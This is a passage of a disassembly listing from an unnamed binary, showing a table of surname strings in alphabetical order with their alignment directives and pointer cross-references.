aMills db 'Mills',0 ; DATA XREF: .data:0043D058o
align 4
aMieher db 'Mieher',0 ; DATA XREF: .data:0043D054o
align 4
aMiddle db 'Middle',0 ; DATA XREF: .data:0043D050o
align 4
aMichelman db 'Michelman',0 ; DATA XREF: .data:0043D04Co
align 10h
aMeurer db 'Meurer',0 ; DATA XREF: .data:0043D048o
align 4
aMetropolis db 'Metropolis',0 ; DATA XREF: .data:0043D044o
align 4
aMetelka db 'Metelka',0 ; DATA XREF: .data:0043D040o
aMerz db 'Merz',0 ; DATA XREF: .data:0043D03Co
align 4
aMerseth db 'Merseth',0 ; DATA XREF: .data:0043D038o
aMerminod db 'Merminod',0 ; DATA XREF: .data:0043D034o
align 4
aMerlani db 'Merlani',0 ; DATA XREF: .data:0043D030o
aMerikoski db 'Merikoski',0 ; DATA XREF: .data:0043D02Co
align 4
aMenzies db 'Menzies',0 ; DATA XREF: .data:0043D028o
aMemisoglu db 'Memisoglu',0 ; DATA XREF: .data:0043D024o
align 10h
aMeccariello db 'Meccariello',0 ; DATA XREF: .data:0043D020o
aMcnulty db 'Mcnulty',0 ; DATA XREF: .data:0043D01Co
aMcnealy db 'Mcnealy',0 ; DATA XREF: .data:0043D018o
aMclaren db 'Mclaren',0 ; DATA XREF: .data:0043D014o
aMclane db 'Mclane',0 ; DATA XREF: .data:0043D010o
align 4
aMckenna db 'Mckenna',0 ; DATA XREF: .data:0043D00Co
aMcintosh db 'Mcintosh',0 ; DATA XREF: .data:0043D008o
align 10h
aMcilroy db 'McIlroy',0 ; DATA XREF: .data:0043D004o
aMcgoldrick db 'Mcgoldrick',0 ; DATA XREF: .data:0043D000o
align 4
aMcghee db 'Mcghee',0 ; DATA XREF: .data:0043CFFCo
align 4
aMcfadden db 'McFadden',0 ; DATA XREF: .data:0043CFF8o
align 4
aMcelroy db 'Mcelroy',0 ; DATA XREF: .data:0043CFF4o
aMcdowell db 'Mcdowell',0 ; DATA XREF: .data:0043CFF0o
align 4
aMcclearn db 'Mcclearn',0 ; DATA XREF: .data:0043CFECo
align 4
aMccall db 'Mccall',0 ; DATA XREF: .data:0043CFE8o
align 10h
aMccaffery db 'Mccaffery',0 ; DATA XREF: .data:0043CFE4o
align 4
aMcbride db 'Mcbride',0 ; DATA XREF: .data:0043CFE0o
aMazziotta db 'Mazziotta',0 ; DATA XREF: .data:0043CFDCo
align 10h
aMazzali db 'Mazzali',0 ; DATA XREF: .data:0043CFD8o
aMay db 'May',0 ; DATA XREF: .data:0043CFD4o
aMauzy db 'Mauzy',0 ; DATA XREF: .data:0043CFD0o
align 4
aMattson db 'Mattson',0 ; DATA XREF: .data:0043CFCCo
aMatsukata db 'Matsukata',0 ; DATA XREF: .data:0043CFC8o
align 4
aMatarazzo db 'Matarazzo',0 ; DATA XREF: .data:0043CFC4o
align 4
aMatalka db 'Matalka',0 ; DATA XREF: .data:0043CFC0o
aMass db 'Mass',0 ; DATA XREF: .data:0043CFBCo
align 4
aMarubini db 'Marubini',0 ; DATA XREF: .data:0043CFB8o
align 10h
aMarton db 'Marton',0 ; DATA XREF: .data:0043CFB4o
align 4
aMartochio db 'Martochio',0 ; DATA XREF: .data:0043CFB0o
align 4
aMartinez db 'Martinez',0 ; DATA XREF: .data:0043CFACo
align 10h
aMarques db 'Marques',0 ; DATA XREF: .data:0043CFA8o
aMargetts db 'Margetts',0 ; DATA XREF: .data:0043CFA4o
align 4
aMargalit db 'Margalit',0 ; DATA XREF: .data:0043CFA0o
align 10h
aMarcus db 'Marcus',0 ; DATA XREF: .data:0043CF9Co
align 4
aMarchbanks db 'Marchbanks',0 ; DATA XREF: .data:0043CF98o
align 4
aMarch db 'March',0 ; DATA XREF: .data:0043CF94o
align 4
aMantovan db 'Mantovan',0 ; DATA XREF: .data:0043CF90o
align 4
aManganiello db 'Manganiello',0 ; DATA XREF: .data:0043CF8Co
aMandel db 'Mandel',0 ; DATA XREF: .data:0043CF88o
align 4
aManalis db 'Manalis',0 ; DATA XREF: .data:0043CF84o
aMalova db 'Malova',0 ; DATA XREF: .data:0043CF80o
align 4
aMaller db 'Maller',0 ; DATA XREF: .data:0043CF7Co
align 4
aMalatesta db 'Malatesta',0 ; DATA XREF: .data:0043CF78o
align 10h
aMaisano db 'Maisano',0 ; DATA XREF: .data:0043CF74o
aMaineHershey db 'Maine-Hershey',0 ; DATA XREF: .data:0043CF70o
align 4
aMaier db 'Maier',0 ; DATA XREF: .data:0043CF6Co
align 10h
aMahony db 'Mahony',0 ; DATA XREF: .data:0043CF68o
align 4
aMaggio db 'Maggio',0 ; DATA XREF: .data:0043CF64o
align 10h
aMadigan db 'Madigan',0 ; DATA XREF: .data:0043CF60o
aMacy db 'Macy',0 ; DATA XREF: .data:0043CF5Co
align 10h
aMacmillan db 'MacMillan',0 ; DATA XREF: .data:0043CF58o
align 4
aMackenney db 'Mackenney',0 ; DATA XREF: .data:0043CF54o
align 4
aMacintyre db 'Macintyre',0 ; DATA XREF: .data:0043CF50o
align 4
aMaceachern db 'Maceachern',0 ; DATA XREF: .data:0043CF4Co
align 10h
aMacdonald db 'Macdonald',0 ; DATA XREF: .data:0043CF48o
align 4
aMaccormac db 'Maccormac',0 ; DATA XREF: .data:0043CF44o
align 4
aMa db 'Ma',0 ; DATA XREF: .data:0043CF40o
align 4
aLuzader db 'Luzader',0 ; DATA XREF: .data:0043CF3Co
aLutcavage db 'Lutcavage',0 ; DATA XREF: .data:0043CF38o
align 10h
aLussier db 'Lussier',0 ; DATA XREF: .data:0043CF34o
aLuoma db 'Luoma',0 ; DATA XREF: .data:0043CF30o
align 10h
aLunetta db 'Lunetta',0 ; DATA XREF: .data:0043CF2Co
aLuecke db 'Luecke',0 ; DATA XREF: .data:0043CF28o
align 10h
aLuczkow db 'Luczkow',0 ; DATA XREF: .data:0043CF24o
aLuciano db 'Luciano',0 ; DATA XREF: .data:0043CF20o
aLucas db 'Lucas',0 ; DATA XREF: .data:0043CF1Co
align 4
aLubin db 'Lubin',0 ; DATA XREF: .data:0043CF18o
align 10h
aLoza db 'Loza',0 ; DATA XREF: .data:0043CF14o
align 4
aLowenstein db 'Lowenstein',0 ; DATA XREF: .data:0043CF10o
align 4
aLoveman db 'Loveman',0 ; DATA XREF: .data:0043CF0Co
aLoss db 'Loss',0 ; DATA XREF: .data:0043CF08o
align 4
aLongworth db 'Longworth',0 ; DATA XREF: .data:0043CF04o
align 10h
aLocatelli db 'Locatelli',0 ; DATA XREF: .data:0043CF00o
align 4
aLizardo db 'Lizardo',0 ; DATA XREF: .data:0043CEFCo
aLivolsi db 'Livolsi',0 ; DATA XREF: .data:0043CEF8o
aLivi db 'Livi',0 ; DATA XREF: .data:0043CEF4o
align 4
aLivernash db 'Livernash',0 ; DATA XREF: .data:0043CEF0o
align 10h
aLitvak db 'Litvak',0 ; DATA XREF: .data:0043CEECo
align 4
aLittle db 'Little',0 ; DATA XREF: .data:0043CEE8o
align 10h
aLipponen db 'Lipponen',0 ; DATA XREF: .data:0043CEE4o
align 4
aLippmann db 'Lippmann',0 ; DATA XREF: .data:0043CEE0o
align 4
aLinzee db 'Linzee',0 ; DATA XREF: .data:0043CEDCo
align 10h
aLinehan db 'Linehan',0 ; DATA XREF: .data:0043CED8o
aLine db 'Line',0 ; DATA XREF: .data:0043CED4o
align 10h
aLinder db 'Linder',0 ; DATA XREF: .data:0043CED0o
align 4
aLinda db 'Linda',0 ; DATA XREF: .data:0043CECCo
align 10h
aLinares db 'Linares',0 ; DATA XREF: .data:0043CEC8o
aLim db 'Lim',0 ; DATA XREF: .data:0043CEC4o
aLightfoot db 'Lightfoot',0 ; DATA XREF: .data:0043CEC0o
align 4
aLight db 'Light',0 ; DATA XREF: .data:0043CEBCo
align 10h
aLiem db 'Liem',0 ; DATA XREF: .data:0043CEB8o
align 4
aLidano db 'Lidano',0 ; DATA XREF: .data:0043CEB4o
align 10h
aLiakos db 'Liakos',0 ; DATA XREF: .data:0043CEB0o
align 4
aLessi db 'Lessi',0 ; DATA XREF: .data:0043CEACo
align 10h
aLesser db 'Lesser',0 ; DATA XREF: .data:0043CEA8o
align 4
aLEnclos db 'l',27h,'Enclos',0 ; DATA XREF: .data:0043CEA4o
align 4
aLenard db 'Lenard',0 ; DATA XREF: .data:0043CEA0o
align 4
aLeite db 'Leite',0 ; DATA XREF: .data:0043CE9Co
align 4
aLeclercq db 'Leclercq',0 ; DATA XREF: .data:0043CE98o
align 10h
aLecce db 'Lecce',0 ; DATA XREF: .data:0043CE94o
align 4
aLecar db 'Lecar',0 ; DATA XREF: .data:0043CE90o
align 10h
aLawless db 'Lawless',0 ; DATA XREF: .data:0043CE8Co
aLashley db 'Lashley',0 ; DATA XREF: .data:0043CE88o
aLaserna db 'Laserna',0 ; DATA XREF: .data:0043CE84o
aLanzit db 'Lanzit',0 ; DATA XREF: .data:0043CE80o
align 10h
aLantieri db 'Lantieri',0 ; DATA XREF: .data:0043CE7Co
align 4
aLankes db 'Lankes',0 ; DATA XREF: .data:0043CE78o
align 4
aLandes db 'Landes',0 ; DATA XREF: .data:0043CE74o
align 4
aLallemant db 'Lallemant',0 ; DATA XREF: .data:0043CE70o
align 4
aLaing db 'Laing',0 ; DATA XREF: .data:0043CE6Co
align 10h
aLafler db 'Lafler',0 ; DATA XREF: .data:0043CE68o
align 4
aLabunka db 'Labunka',0 ; DATA XREF: .data:0043CE64o
aLa db 'La',0 ; DATA XREF: .data:0043CE60o
align 4
aKuwabara db 'Kuwabara',0 ; DATA XREF: .data:0043CE5Co
align 10h
aKusman db 'Kusman',0 ; DATA XREF: .data:0043CE58o
align 4
aKumar db 'Kumar',0 ; DATA XREF: .data:0043CE54o
align 10h
aKuenzli db 'Kuenzli',0 ; DATA XREF: .data:0043CE50o
aKrysiak db 'Krysiak',0 ; DATA XREF: .data:0043CE4Co
aKroemer db 'Kroemer',0 ; DATA XREF: .data:0043CE48o
aKraus db 'Kraus',0 ; DATA XREF: .data:0043CE44o
align 10h
aKrasney db 'Krasney',0 ; DATA XREF: .data:0043CE40o
aKrailo db 'Krailo',0 ; DATA XREF: .data:0043CE3Co
align 10h
aKraemer db 'Kraemer',0 ; DATA XREF: .data:0043CE38o
aKovaks db 'Kovaks',0 ; DATA XREF: .data:0043CE34o
align 10h
aKotter db 'Kotter',0 ; DATA XREF: .data:0043CE30o
align 4
aKorzybski db 'Korzybski',0 ; DATA XREF: .data:0043CE2Co
align 4
aKool db 'Kool',0 ; DATA XREF: .data:0043CE28o
align 4
aKonrad db 'Konrad',0 ; DATA XREF: .data:0043CE24o
align 4
aKoniaris db 'Koniaris',0 ; DATA XREF: .data:0043CE20o
align 10h
aKommer db 'Kommer',0 ; DATA XREF: .data:0043CE1Co
align 4
aKoivumaki db 'Koivumaki',0 ; DATA XREF: .data:0043CE18o
align 4
aKohn db 'Kohn',0 ; DATA XREF: .data:0043CE14o
align 4
aKoch db 'Koch',0 ; DATA XREF: .data:0043CE10o
align 4
aKobrick db 'Kobrick',0 ; DATA XREF: .data:0043CE0Co
aKnuff db 'Knuff',0 ; DATA XREF: .data:0043CE08o
align 4
aKlint db 'Klint',0 ; DATA XREF: .data:0043CE04o
align 4
aKlinkenborg db 'Klinkenborg',0 ; DATA XREF: .data:0043CE00o
aKling db 'Kling',0 ; DATA XREF: .data:0043CDFCo
align 10h
aKlemperer db 'Klemperer',0 ; DATA XREF: .data:0043CDF8o
align 4
aKleinfelder db 'Kleinfelder',0 ; DATA XREF: .data:0043CDF4o
aKleiman db 'Kleiman',0 ; DATA XREF: .data:0043CDF0o
aKleckner db 'Kleckner',0 ; DATA XREF: .data:0043CDECo
align 4
aKittridge db 'Kittridge',0 ; DATA XREF: .data:0043CDE8o
align 4
aKirscht db 'Kirscht',0 ; DATA XREF: .data:0043CDE4o
aKippenberger db 'Kippenberger',0 ; DATA XREF: .data:0043CDE0o
align 10h
aKinsley db 'Kinsley',0 ; DATA XREF: .data:0043CDDCo
aKindall db 'Kindall',0 ; DATA XREF: .data:0043CDD8o
aKimura db 'Kimura',0 ; DATA XREF: .data:0043CDD4o
align 4
aKimmett db 'Kimmett',0 ; DATA XREF: .data:0043CDD0o
aKimmel db 'Kimmel',0 ; DATA XREF: .data:0043CDCCo
align 4
aKhong db 'Khong',0 ; DATA XREF: .data:0043CDC8o
align 10h
aKeul db 'Keul',0 ; DATA XREF: .data:0043CDC4o
align 4
aKerry db 'Kerry',0 ; DATA XREF: .data:0043CDC0o
align 10h
aKendall db 'Kendall',0 ; DATA XREF: .data:0043CDBCo
aKemsley db 'Kemsley',0 ; DATA XREF: .data:0043CDB8o
aKempton db 'Kempton',0 ; DATA XREF: .data:0043CDB4o
aKelsey db 'Kelsey',0 ; DATA XREF: .data:0043CDB0o
align 10h
aKelker db 'Kelker',0 ; DATA XREF: .data:0043CDACo
align 4
aKeith db 'Keith',0 ; DATA XREF: .data:0043CDA8o
align 10h
aKeepper db 'Keepper',0 ; DATA XREF: .data:0043CDA4o
aKeenan db 'Keenan',0 ; DATA XREF: .data:0043CDA0o
align 10h
aKee db 'Kee',0 ; DATA XREF: .data:0043CD9Co
aKawachi db 'Kawachi',0 ; DATA XREF: .data:0043CD98o
aKasten db 'Kasten',0 ; DATA XREF: .data:0043CD94o
align 4
aKassower db 'Kassower',0 ; DATA XREF: .data:0043CD90o
align 10h
aKarpouzes db 'Karpouzes',0 ; DATA XREF: .data:0043CD8Co
align 4
aKangis db 'Kangis',0 ; DATA XREF: .data:0043CD88o
align 4
aKamel db 'Kamel',0 ; DATA XREF: .data:0043CD84o
align 4
aKalman db 'Kalman',0 ; DATA XREF: .data:0043CD80o
align 4
aKalinowski db 'Kalinowski',0 ; DATA XREF: .data:0043CD7Co
align 10h
aKalil db 'Kalil',0 ; DATA XREF: .data:0043CD78o
align 4
aKaligian db 'Kaligian',0 ; DATA XREF: .data:0043CD74o
align 4
aKalbfleisch db 'Kalbfleisch',0 ; DATA XREF: .data:0043CD70o
aKafadar db 'Kafadar',0 ; DATA XREF: .data:0043CD6Co
aKaboolian db 'Kaboolian',0 ; DATA XREF: .data:0043CD68o
align 4
aKabbash db 'Kabbash',0 ; DATA XREF: .data:0043CD64o
aJulious db 'Julious',0 ; DATA XREF: .data:0043CD60o
aJuliano db 'Juliano',0 ; DATA XREF: .data:0043CD5Co
aJucks db 'Jucks',0 ; DATA XREF: .data:0043CD58o
align 4
aJorgensen db 'Jorgensen',0 ; DATA XREF: .data:0043CD54o
align 10h
aJolly db 'Jolly',0 ; DATA XREF: .data:0043CD50o
align 4
aJohns db 'Johns',0 ; DATA XREF: .data:0043CD4Co
align 10h
aJohannsen db 'Johannsen',0 ; DATA XREF: .data:0043CD48o
align 4
aJohannesson db 'Johannesson',0 ; DATA XREF: .data:0043CD44o
aJewett db 'Jewett',0 ; DATA XREF: .data:0043CD40o
align 10h
aJespersen db 'Jespersen',0 ; DATA XREF: .data:0043CD3Co
align 4
aJenkins db 'Jenkins',0 ; DATA XREF: .data:0043CD38o
aJellis db 'Jellis',0 ; DATA XREF: .data:0043CD34o
align 4
aJeffers db 'Jeffers',0 ; DATA XREF: .data:0043CD30o
aJay db 'Jay',0 ; DATA XREF: .data:0043CD2Co
aJarrell db 'Jarrell',0 ; DATA XREF: .data:0043CD28o
aJarnagin db 'Jarnagin',0 ; DATA XREF: .data:0043CD24o
align 4
aJanjigian db 'Janjigian',0 ; DATA XREF: .data:0043CD20o
align 4
aJamil db 'Jamil',0 ; DATA XREF: .data:0043CD1Co
align 10h
aJain db 'Jain',0 ; DATA XREF: .data:0043CD18o
align 4
aJagoe db 'Jagoe',0 ; DATA XREF: .data:0043CD14o
align 10h
aJagger db 'Jagger',0 ; DATA XREF: .data:0043CD10o
align 4
aJagers db 'Jagers',0 ; DATA XREF: .data:0043CD0Co
align 10h
aJackson db 'Jackson',0 ; DATA XREF: .data:0043CD08o
aJacenko db 'Jacenko',0 ; DATA XREF: .data:0043CD04o
aIyer db 'Iyer',0 ; DATA XREF: .data:0043CD00o
align 4
aIsserman db 'Isserman',0 ; DATA XREF: .data:0043CCFCo
align 4
aIsbill db 'Isbill',0 ; DATA XREF: .data:0043CCF8o
align 4
aIsaievych db 'Isaievych',0 ; DATA XREF: .data:0043CCF4o
align 4
aIsaac db 'Isaac',0 ; DATA XREF: .data:0043CCF0o
align 10h
aInniss db 'Inniss',0 ; DATA XREF: .data:0043CCECo
align 4
aInamura db 'Inamura',0 ; DATA XREF: .data:0043CCE8o
aIgarashi db 'Igarashi',0 ; DATA XREF: .data:0043CCE4o
align 4
aIchikawa db 'Ichikawa',0 ; DATA XREF: .data:0043CCE0o
align 4
aIaquinta db 'Iaquinta',0 ; DATA XREF: .data:0043CCDCo
align 4
aHyde db 'Hyde',0 ; DATA XREF: .data:0043CCD8o
align 4
aHutchings db 'Hutchings',0 ; DATA XREF: .data:0043CCD4o
align 4
aHurtubise db 'Hurtubise',0 ; DATA XREF: .data:0043CCD0o
align 4
aHupp db 'Hupp',0 ; DATA XREF: .data:0043CCCCo
align 4
aHuntington db 'Huntington',0 ; DATA XREF: .data:0043CCC8o
align 4
aHungerford db 'Hungerford',0 ; DATA XREF: .data:0043CCC4o
align 4
aHuidekoper db 'Huidekoper',0 ; DATA XREF: .data:0043CCC0o
align 10h
aHuey db 'Huey',0 ; DATA XREF: .data:0043CCBCo
align 4
aHoy db 'Hoy',0 ; DATA XREF: .data:0043CCB8o
aHoward db 'Howard',0 ; DATA XREF: .data:0043CCB4o
align 4
aHottle db 'Hottle',0 ; DATA XREF: .data:0043CCB0o
align 4
aHostage db 'Hostage',0 ; DATA XREF: .data:0043CCACo
aHoshida db 'Hoshida',0 ; DATA XREF: .data:0043CCA8o
aHorsley db 'Horsley',0 ; DATA XREF: .data:0043CCA4o
aHopkins db 'Hopkins',0 ; DATA XREF: .data:0043CCA0o
aHooker db 'Hooker',0 ; DATA XREF: .data:0043CC9Co
align 4
aHolzman db 'Holzman',0 ; DATA XREF: .data:0043CC98o
aHolway db 'Holway',0 ; DATA XREF: .data:0043CC94o
align 4
aHolter db 'Holter',0 ; DATA XREF: .data:0043CC90o
align 4
aHoloien db 'Holoien',0 ; DATA XREF: .data:0043CC8Co
aHolmes db 'Holmes',0 ; DATA XREF: .data:0043CC88o
align 4
aHokoda db 'Hokoda',0 ; DATA XREF: .data:0043CC84o
align 4
aHokanson db 'Hokanson',0 ; DATA XREF: .data:0043CC80o
align 10h
aHoffman db 'Hoffman',0 ; DATA XREF: .data:0043CC7Co
aHoffer db 'Hoffer',0 ; DATA XREF: .data:0043CC78o
align 10h
aHock db 'Hock',0 ; DATA XREF: .data:0043CC74o
align 4
aHoang db 'Hoang',0 ; DATA XREF: .data:0043CC70o
align 10h
aHitchcock db 'Hitchcock',0 ; DATA XREF: .data:0043CC6Co
align 4
aHirst db 'Hirst',0 ; DATA XREF: .data:0043CC68o
align 4
aHind db 'Hind',0 ; DATA XREF: .data:0043CC64o
align 4
aHimmelfarb db 'Himmelfarb',0 ; DATA XREF: .data:0043CC60o
align 4
aHeyeck db 'Heyeck',0 ; DATA XREF: .data:0043CC5Co
align 10h
aHeubert db 'Heubert',0 ; DATA XREF: .data:0043CC58o
aHester db 'Hester',0 ; DATA XREF: .data:0043CC54o
align 10h
aHerrera db 'Herrera',0 ; DATA XREF: .data:0043CC50o
aHernandez db 'Hernandez',0 ; DATA XREF: .data:0043CC4Co
align 4
aHenrichs db 'Henrichs',0 ; DATA XREF: .data:0043CC48o
align 10h
aHenery db 'Henery',0 ; DATA XREF: .data:0043CC44o
align 4
aHemphill db 'Hemphill',0 ; DATA XREF: .data:0043CC40o
align 4
aHelprin db 'Helprin',0 ; DATA XREF: .data:0043CC3Co
aHellmiss db 'Hellmiss',0 ; DATA XREF: .data:0043CC38o
align 4
aHellman db 'Hellman',0 ; DATA XREF: .data:0043CC34o
aHeiland db 'Heiland',0 ; DATA XREF: .data:0043CC30o
aHeft db 'Heft',0 ; DATA XREF: .data:0043CC2Co
align 10h
aHeermans db 'Heermans',0 ; DATA XREF: .data:0043CC28o
align 4
aHazlewood db 'Hazlewood',0 ; DATA XREF: .data:0043CC24o
align 4
aHaynes db 'Haynes',0 ; DATA XREF: .data:0043CC20o
align 10h
aHayes db 'Hayes',0 ; DATA XREF: .data:0043CC1Co
align 4
aHawkes db 'Hawkes',0 ; DATA XREF: .data:0043CC18o
align 10h
aHaviaras db 'Haviaras',0 ; DATA XREF: .data:0043CC14o
align 4
aHarwell db 'Harwell',0 ; DATA XREF: .data:0043CC10o
aHartnett db 'Hartnett',0 ; DATA XREF: .data:0043CC0Co
align 10h
aHartmann db 'Hartmann',0 ; DATA XREF: .data:0043CC08o
align 4
aHartman db 'Hartman',0 ; DATA XREF: .data:0043CC04o
aHarrigan db 'Harrigan',0 ; DATA XREF: .data:0043CC00o
align 10h
aHarlow db 'Harlow',0 ; DATA XREF: .data:0043CBFCo
align 4
aHargraves db 'Hargraves',0 ; DATA XREF: .data:0043CBF8o
align 4
aHarding db 'Harding',0 ; DATA XREF: .data:0043CBF4o
aHanssen db 'Hanssen',0 ; DATA XREF: .data:0043CBF0o
aHand db 'Hand',0 ; DATA XREF: .data:0043CBECo
align 4
aHammerness db 'Hammerness',0 ; DATA XREF: .data:0043CBE8o
align 4
aHamer db 'Hamer',0 ; DATA XREF: .data:0043CBE4o
align 10h
aHambarzumjan db 'Hambarzumjan',0 ; DATA XREF: .data:0043CBE0o
align 10h
aHalpert db 'Halpert',0 ; DATA XREF: .data:0043CBDCo
aHallowell db 'Hallowell',0 ; DATA XREF: .data:0043CBD8o
align 4
aHalkias db 'Halkias',0 ; DATA XREF: .data:0043CBD4o
aHaley db 'Haley',0 ; DATA XREF: .data:0043CBD0o
align 4
aHackshaw db 'Hackshaw',0 ; DATA XREF: .data:0043CBCCo
align 10h
aHackman db 'Hackman',0 ; DATA XREF: .data:0043CBC8o
aHaar db 'Haar',0 ; DATA XREF: .data:0043CBC4o
align 10h
aHa db 'Ha',0 ; DATA XREF: .data:0043CBC0o
align 4
aGuo db 'Guo',0 ; DATA XREF: .data:0043CBBCo
aGunn db 'Gunn',0 ; DATA XREF: .data:0043CBB8o
align 10h
aGuenthart db 'Guenthart',0 ; DATA XREF: .data:0043CBB4o
align 4
aGruppe db 'Gruppe',0 ; DATA XREF: .data:0043CBB0o
align 4
aGruner db 'Gruner',0 ; DATA XREF: .data:0043CBACo
align 4
aGrummell db 'Grummell',0 ; DATA XREF: .data:0043CBA8o
align 4
aGrigoletto db 'Grigoletto',0 ; DATA XREF: .data:0043CBA4o
align 4
aGriffiths db 'Griffiths',0 ; DATA XREF: .data:0043CBA0o
align 10h
aGreenfeld db 'Greenfeld',0 ; DATA XREF: .data:0043CB9Co
align 4
aGreenberg db 'Greenberg',0 ; DATA XREF: .data:0043CB98o
align 4
aGravell db 'Gravell',0 ; DATA XREF: .data:0043CB94o
aGozzi db 'Gozzi',0 ; DATA XREF: .data:0043CB90o
align 4
aGoody db 'Goody',0 ; DATA XREF: .data:0043CB8Co
align 10h
aGoodearl db 'Goodearl',0 ; DATA XREF: .data:0043CB88o
align 4
aGood db 'Good',0 ; DATA XREF: .data:0043CB84o
align 4
aGoncalves db 'Goncalves',0 ; DATA XREF: .data:0043CB80o
align 10h
aGoldfarb db 'Goldfarb',0 ; DATA XREF: .data:0043CB7Co
align 4
aGlendon db 'Glendon',0 ; DATA XREF: .data:0043CB78o
aGlegg db 'Glegg',0 ; DATA XREF: .data:0043CB74o
align 4
aGleason db 'Gleason',0 ; DATA XREF: .data:0043CB70o
aGist db 'Gist',0 ; DATA XREF: .data:0043CB6Co
align 4
aGillispie db 'Gillispie',0 ; DATA XREF: .data:0043CB68o
align 4
aGill db 'Gill',0 ; DATA XREF: .data:0043CB64o
align 10h
aGili db 'Gili',0 ; DATA XREF: .data:0043CB60o
align 4
aGilbert db 'Gilbert',0 ; DATA XREF: .data:0043CB5Co
aGibson db 'Gibson',0 ; DATA XREF: .data:0043CB58o
align 4
aGibbens db 'Gibbens',0 ; DATA XREF: .data:0043CB54o
aGhorai db 'Ghorai',0 ; DATA XREF: .data:0043CB50o
align 4
aGerrett db 'Gerrett',0 ; DATA XREF: .data:0043CB4Co
aGeorgi db 'Georgi',0 ; DATA XREF: .data:0043CB48o
align 4
aGemberling db 'Gemberling',0 ; DATA XREF: .data:0043CB44o
align 4
aGeller db 'Geller',0 ; DATA XREF: .data:0043CB40o
align 4
aGaronna db 'Garonna',0 ; DATA XREF: .data:0043CB3Co
aGarman db 'Garman',0 ; DATA XREF: .data:0043CB38o
align 4
aGarfield db 'Garfield',0 ; DATA XREF: .data:0043CB34o
align 4
aGambini db 'Gambini',0 ; DATA XREF: .data:0043CB30o
aGalwey db 'Galwey',0 ; DATA XREF: .data:0043CB2Co
align 4
aGaleotti db 'Galeotti',0 ; DATA XREF: .data:0043CB28o
align 4
aGaggiotti db 'Gaggiotti',0 ; DATA XREF: .data:0043CB24o
align 10h
aGabrielli db 'Gabrielli',0 ; DATA XREF: .data:0043CB20o
align 4
aFusaro db 'Fusaro',0 ; DATA XREF: .data:0043CB1Co
align 4
aFurth db 'Furth',0 ; DATA XREF: .data:0043CB18o
align 4
aFuller db 'Fuller',0 ; DATA XREF: .data:0043CB14o
align 4
aFujiiAbe db 'Fujii-Abe',0 ; DATA XREF: .data:0043CB10o
align 10h
aFrye db 'Frye',0 ; DATA XREF: .data:0043CB0Co
align 4
aFryberger db 'Fryberger',0 ; DATA XREF: .data:0043CB08o
align 4
aFrowiss db 'Frowiss',0 ; DATA XREF: .data:0043CB04o
aFrisken db 'Frisken',0 ; DATA XREF: .data:0043CB00o
aFriedland db 'Friedland',0 ; DATA XREF: .data:0043CAFCo
align 10h
aFried db 'Fried',0 ; DATA XREF: .data:0043CAF8o
align 4
aFreundlich db 'Freundlich',0 ; DATA XREF: .data:0043CAF4o
align 4
aFreid db 'Freid',0 ; DATA XREF: .data:0043CAF0o
align 4
aFrazierDavis db 'Frazier-Davis',0 ; DATA XREF: .data:0043CAECo
align 4
aFranz db 'Franz',0 ; DATA XREF: .data:0043CAE8o
align 4
aFranklinKenea db 'Franklin-Kenea',0 ; DATA XREF: .data:0043CAE4o
align 4
aFrancisco db 'Francisco',0 ; DATA XREF: .data:0043CAE0o
align 10h
aFossi db 'Fossi',0 ; DATA XREF: .data:0043CADCo
align 4
aFossey db 'Fossey',0 ; DATA XREF: .data:0043CAD8o
align 10h
aFortier db 'Fortier',0 ; DATA XREF: .data:0043CAD4o
aFortes db 'Fortes',0 ; DATA XREF: .data:0043CAD0o
align 10h
aForester db 'Forester',0 ; DATA XREF: .data:0043CACCo
align 4
aFolks db 'Folks',0 ; DATA XREF: .data:0043CAC8o
align 4
aFlores db 'Flores',0 ; DATA XREF: .data:0043CAC4o
align 4
aFlier db 'Flier',0 ; DATA XREF: .data:0043CAC0o
align 4
aFitzmaurice db 'Fitzmaurice',0 ; DATA XREF: .data:0043CABCo
aFisk db 'Fisk',0 ; DATA XREF: .data:0043CAB8o
align 4
aFiorina db 'Fiorina',0 ; DATA XREF: .data:0043CAB4o
aFinnegan db 'Finnegan',0 ; DATA XREF: .data:0043CAB0o
align 4
aFinkelstein db 'Finkelstein',0 ; DATA XREF: .data:0043CAACo
aFink db 'Fink',0 ; DATA XREF: .data:0043CAA8o
align 10h
aField db 'Field',0 ; DATA XREF: .data:0043CAA4o
align 4
aFido db 'Fido',0 ; DATA XREF: .data:0043CAA0o
align 10h
aFeuer db 'Feuer',0 ; DATA XREF: .data:0043CA9Co
align 4
aFerriell db 'Ferriell',0 ; DATA XREF: .data:0043CA98o
align 4
aFerrante db 'Ferrante',0 ; DATA XREF: .data:0043CA94o
align 10h
aFernandes db 'Fernandes',0 ; DATA XREF: .data:0043CA90o
align 4
aFernald db 'Fernald',0 ; DATA XREF: .data:0043CA8Co
aFeldman db 'Feldman',0 ; DATA XREF: .data:0043CA88o
aFejzo db 'Fejzo',0 ; DATA XREF: .data:0043CA84o
align 4
aFeigenbaum db 'Feigenbaum',0 ; DATA XREF: .data:0043CA80o
align 10h
aFates db 'Fates',0 ; DATA XREF: .data:0043CA7Co
align 4
aFasso db 'Fasso',27h,0 ; DATA XREF: .data:0043CA78o
align 10h
aFarren db 'Farren',0 ; DATA XREF: .data:0043CA74o
align 4
aFarone db 'Farone',0 ; DATA XREF: .data:0043CA70o
align 10h
aFaris db 'Faris',0 ; DATA XREF: .data:0043CA6Co
align 4
aFalorsi db 'Falorsi',0 ; DATA XREF: .data:0043CA68o
aFalcoAcosta db 'Falco-Acosta',0 ; DATA XREF: .data:0043CA64o
align 10h
aFaioes db 'Faioes',0 ; DATA XREF: .data:0043CA60o
align 4
aFagan db 'Fagan',0 ; DATA XREF: .data:0043CA5Co
align 10h
aFabbris db 'Fabbris',0 ; DATA XREF: .data:0043CA58o
aEverett db 'Everett',0 ; DATA XREF: .data:0043CA54o
aEuripides db 'Euripides',0 ; DATA XREF: .data:0043CA50o
align 4
aEtter db 'Etter',0 ; DATA XREF: .data:0043CA4Co
align 4
aEstes db 'Estes',0 ; DATA XREF: .data:0043CA48o
align 4
aEspinoza db 'Espinoza',0 ; DATA XREF: .data:0043CA44o
align 4
aErez db 'Erez',0 ; DATA XREF: .data:0043CA40o
align 10h
aErdos db 'Erdos',0 ; DATA XREF: .data:0043CA3Co
align 4
aErdman db 'Erdman',0 ; DATA XREF: .data:0043CA38o
align 10h
aErbach db 'Erbach',0 ; DATA XREF: .data:0043CA34o
align 4
aEppling db 'Eppling',0 ; DATA XREF: .data:0043CA30o
aEnyeart db 'Enyeart',0 ; DATA XREF: .data:0043CA2Co
aEncinas db 'Encinas',0 ; DATA XREF: .data:0043CA28o
